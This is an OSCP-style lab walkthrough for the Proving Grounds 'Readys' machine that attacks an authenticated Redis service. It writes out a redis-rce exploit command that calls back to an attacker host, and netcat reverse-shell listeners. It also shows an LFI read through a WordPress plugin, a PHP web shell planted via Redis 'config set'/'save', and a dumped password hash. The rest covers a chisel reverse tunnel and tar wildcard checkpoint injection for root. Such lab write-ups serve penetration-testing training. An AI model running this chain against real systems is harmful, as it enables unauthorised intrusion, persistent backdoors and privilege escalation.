> For the complete documentation index, see [llms.txt](https://aditya-3.gitbook.io/oscp/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aditya-3.gitbook.io/oscp/readme/walkthroughs/pg-practice/readys/6379.md).

# 6379

```
redis-cli -h 192.168.159.166
```

Then to authenticate:

```
AUTH Ready4Redis?
```

![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-71a099ac88f1081405c4400592e7b22eb19f86e9%2Fad310239ce3bbf171a553df2b85baf4a.png?alt=media) We are in.

## Failed

The version is 5.0.14: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-bba0744c411711b5bf3d9a098a5cf473504b1a88%2Ffa205ac7aa97cabafd183653962c05f6.png?alt=media) Using this: <https://github.com/Ridter/redis-rce?source=post\\_page-----88a3e0e21f62-------------------------------->

We can get a shell:

```
python3 redis-rce.py -r 192.168.159.166 -L 192.168.45.223 -a 'Ready4Redis?' -f exp.so
```

![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-4abfe8bd15aa6607c3ce81497e7667435bc65cf5%2F755d68c05cd0473ed7fd26ef26de6a5e.png?alt=media)

Then set up a listener:

```
rlwrap nc -nlvp 80
```

![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-8621f2b50f0bf74ef4edaff1bcbe5aeaae93ede3%2Fc794eac06559f9845e8f43f543535541.png?alt=media) We get a shell

Now we can look for the wp-config file and get the database password:

```
cat /var/www/html/wp-config.php
```

![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-d1104db87f2e499f8bc15a5dad5ba57d245c26e0%2F0516017352f6cf808506aabe45d357b2.png?alt=media)

Checking netstat:

```
netstat -antup
```

![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-ee9e87c49a8da0bc68e077f3281ba34f0867f712%2F9ad6155ae8c39b435e9958a61c49edd7.png?alt=media) But could not execute anything so was a waste

**Can not proceed as we get a shell as redis user**

## Success

We can check the service files for redis using the LFI:

```
curl http://192.168.231.166/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/systemd/system/redis.service > redis.service
```

Now we can find the writeable directory: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-18b98a3e9e42bed43a413fdc0ac930d882235aa6%2F6fdd612e89e90dad5da2f664f2f02ce9.png?alt=media)

Then write a shell.php:

```
redis-cli -h 192.168.231.166
```

```
AUTH Ready4Redis?
config set dir /opt/redis-files
config set dbfilename shell.php
set test '<?php system($_GET["cmd"]); ?>'
save
```

Now we have command execution: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-8d63ac357f236cb5f53d970c2e030c1550b1dfee%2Ffa323c8d5bf249a69aa188049fab6fbb.png?alt=media) We can get a shell now: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-a9fbaa407a6fa37aa24b354c4abf2a33af7378f9%2Fcfb4ad2d541f434c286ccd1aaf98a86c.png?alt=media)

Now we can look for the wp-config file and get the database password:

```
cat /var/www/html/wp-config.php
```

![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-d1104db87f2e499f8bc15a5dad5ba57d245c26e0%2F0516017352f6cf808506aabe45d357b2.png?alt=media) Port forwarding: Target:

```
$P$Ba5uoSB5xsqZ5GFIbBnOkXA0ahSJnb0
```

Kali:

```
chisel server --reverse --socks5 -p 8001
```

But we don't find anything in database after logging in.

We find a cron job after running linpeas: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-40b7fbe24a0398389a34e5c34a9b6cf602e43fb9%2F7230ec2232bd14dddd97db109de0b011.png?alt=media)

![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-801475d36cdf7b33a5de0d7b308c492089b1e133%2Fd46eafcfbe57fe4536d4109f0fccfb86.png?alt=media)

Now we have tar with `*` which we can use to gain sudo access:

```
cd /var/www/html
echo "" > '--checkpoint=1'
echo "" > '--checkpoint-action=exec=sh payload.sh'
nano payload.sh
chmod +x payload.sh
```

Now in payload.sh: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-613f909cdd960750f37535326f84d9eb90a14b84%2F3c0c8b5285d7120f1b4f0bc4136a1f49.png?alt=media) Now we get a shell in the listener:

```
sudo rlwrap nc -nlvp 80
```

![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-dceed5c25cd2b768deab8673a5a2c9104e2f6cb5%2Ff6ab45306d77854fac8574e2472b0995.png?alt=media)